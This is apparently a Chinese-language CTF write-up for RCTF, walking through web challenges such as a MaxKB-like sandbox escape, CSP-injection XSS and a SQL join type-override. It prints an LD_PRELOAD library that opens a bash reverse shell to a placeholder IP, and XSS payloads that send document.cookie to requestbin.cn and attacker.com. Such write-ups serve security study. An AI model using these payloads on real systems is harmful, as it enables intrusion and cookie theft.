rctf后感

前言

RCTF如何评价,只能说坐大牢,我还是太弱了,做出一道题已经是拼尽全力

RootKB

打LD_PRELOAD劫持就好了 首先本地开个环境,发现在/admin/tool处存在python代码执行,但是在沙箱环境下

调试启动之后成功执行返回2
沙箱环境下的限制是没有/bin/sh,以及一些黑名单,如system,exec,eval等等,且需要提权才可以读取/root/flag
目前可以做到列目录os.listdir("/"),但是可读写只能在沙盒目录下/opt/maxkb-app/sandbox
我们发现这个目录下有一个sandbox.so文件
我们审计源码,尤其是2.3.0->2.3.1变化的部分,新增了一处

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
@@ -188,6 +194,9 @@ exec({dedent(code)!a})
self.user,
],
'cwd': self.sandbox_path,
+ 'env': {
+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ },
'transport': 'stdio',
}
else:
@@ -204,6 +213,9 @@ exec({dedent(code)!a})
file.write(_code)
os.system(f"chown {self.user}:root {exec_python_file}")
kwargs = {'cwd': BASE_DIR}
+ kwargs['env'] = {
+ 'LD_PRELOAD': f'{self.sandbox_path}/sandbox.so',
+ }
subprocess_result = subprocess.run(
['su', '-s', python_directory, '-c', "exec(open('" + exec_python_file + "').read())", self.user],
text=True,

可以看到,假使我们可以覆盖sandbox.so,就可以打LD_PRELOAD劫持,且是高权限了
反弹shell的.so文件的编译生成

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

void payload() {
system("bash -c 'bash -i >& /dev/tcp/x.x.x.x/4444 0>&1'");
}

int strncmp(const char *__s1, const char *__s2, size_t __n) {
if (getenv("LD_PRELOAD") == NULL) {
return 0;
}
unsetenv("LD_PRELOAD");
payload();
}
def payload():
import base64
import os
malicious_so_b64="xxxx"
malicious_data = base64.b64decode(malicious_so_b64)
with open("/opt/maxkb-app/sandbox/sandbox.so", "wb") as f:
f.write(malicious_data)
return "sandbox.so replaced successfully"

成功替换之后os.popen("")即可触发反弹shell
cat /root/flag即可

RootKB–

好像有多个思路,其中之一是打redis,相关的值得一学

这里居然是打pickle,redis与xxx之间以pickle进行通信,自然存在pickle反序列化行为
当然上述漏洞的发掘需要对通信有些了解,我没有怎么打过redis,且框架代码太多了,看晕了给
找个时间看看Redis应该如何去打
apps\maxkb\settings\lib.py
apps\common\cache\mem_cache.py

这些文件里有类似的逻辑
定义了redis与celery之间用pickle序列化数据进行通信
这道题的方法很多,能看到的就有三种

Auth

代审真的看不下去了哎,整个结构没摸清()

Author

真爱的xss猛的被刺我,这个js防护到底如何绕过呢?
题目出的挺好的,哎,好好审计一下前端php看看,注意,我们平时经常遭遇CSP来限制我们的xss,你知道它的两种启用方法吗?

两种方法可以启用 CSP。一种是通过 HTTP 头信息的Content-Security-Policy的字段。

1
2
Content-Security-Policy: script-src 'self'; object-src 'none';
style-src cdn.example.org third-party.org; child-src https:

另一种是通过网页的<meta>标签。

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.

审计可得,username可控且在meta标签里面
<meta name="author" content=<?php echo $pageAuthor; ?>>

有一说一,header.php里我都没看到啥内容哎
这里存在注入,我们可以弄上CSP玩玩
注意,前面被转义了,但是单引号不会被转义,可打 username='script-src-elem http://localhost:8081/assets/js/article.js' http-equiv='Content-Security-Policy'
仅允许我们的innerHTML生效
即可打xss了,这里可以不用srcdoc了,直接事件触发打外带了吧
script-src-elem的好处指定script执行的有效来源

success~

至于标题简介啥的被转义的细节就不说了,只能在content处写入innerHTML里

1
<iframe srcdoc="<script>alert(1)</script>"></iframe>

很遗憾的是这个不会执行,违反script-src-elem了
直接事件触发吧

1
<img src=1 onerror=fetch("http://requestbin.cn:80/xn8if2xn"+document.cookie)>

可以拿到flag
并且上述其实我们可以直接在username进行所有的xss注入,这也反映在了Plus上面

AuthorPlus

这道Plus对username做了一定的WAF
preg_match('/>\\'"\\x20\\t\\r\\n]/',$username)
但是存在用两种符号进行绕过换行,进行payload分隔处理

  • %0b,垂直方向制表符
  • %0c,换页符

由于Plus将innerHTML去除了,所以只能利用换行在username处进行注入
但是无疑这里有转义处理,不能带尖括号
这里注意bot的点击行为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if (auditBtn) {
await Promise.all([
auditBtn.click(),
page.waitForNavigation({ waitUntil: 'domcontentloaded' }),
]);
}

let rejectBtn = null;
try {
rejectBtn = await page.waitForSelector('.btn-reject', { visible: true, timeout: 5000 });
} catch (err) {}
if (rejectBtn) {
await rejectBtn.click();
}

这里admin实现自动reject文章了
存在点击行为
再配合我们的事件,即可触发js代码,绕过尖括号

1
script-src-elem%0bhttp:blog-app/assets/js/article.js%0chttp-equiv=Content-Security-Policy%0cpopover%0cid=x%0conbeforetoggle=location.href=`http:attacker.com:1234/?c=${document.cookie}`

这俩题挺xss的,想象力还是不太够哇,大体能体会到了

photographer

最高解的题,一定是有一块我没反应过来,太失败了

在ai交互的过程中,其实ai已经发现了关键点,就是可以利用上传的post伪造type为-1,然后sql在进行查询时会以post的type代替user的type,进而实现的绕过,通过superadmin.php获得flag
为什么没有做出来呢?当时记得很清楚,就是改变Content-type之后无法上传图片,这个问题当时没有细究

1
2
3
if (Auth : check() & Auth : type() < $user_types['admin']) {
echo getenv('FLAG') ?: 'RCTF{test_flag}';
}

这里正常路径也不可能小于0了
看tupe()之后的查询方法

1
2
3
4
5
6
public static function findById($userId) {
return DB::table('user')
->leftJoin('photo', 'user.background_photo_id', '=', 'photo.id')
->where('user.id', '=', $userId)
->first();
}

这⾥⽤了leftJoin连表查询photo。但是user表和photo表都有 type。其中 user.type 是权限等级, photo.type 是⽂件的 MIME;framework/DB.php 这⾥可以看到使⽤SQLite 的fetchArray并且模式为SQLITE3_ASSOC
也就是返回以列名索引的数组
还是那句话,上传图片并设置背景之后,查询时它的type就覆盖了user的type
按理来说就不难了,应该出了吧
当时没有考虑csrf_token
因此出现上传问题
注意带上csrf_token就可以正常上传伪造type的图片了

  • 考点:sql连表查询时可能会存在覆盖漏洞

hyperfun

出乎意料的一处反序列化接口,hyperfun的链子挖掘
后续可能单开学习

maybe_easy

java题,解较少,但感觉很值得复现学习
会单开学习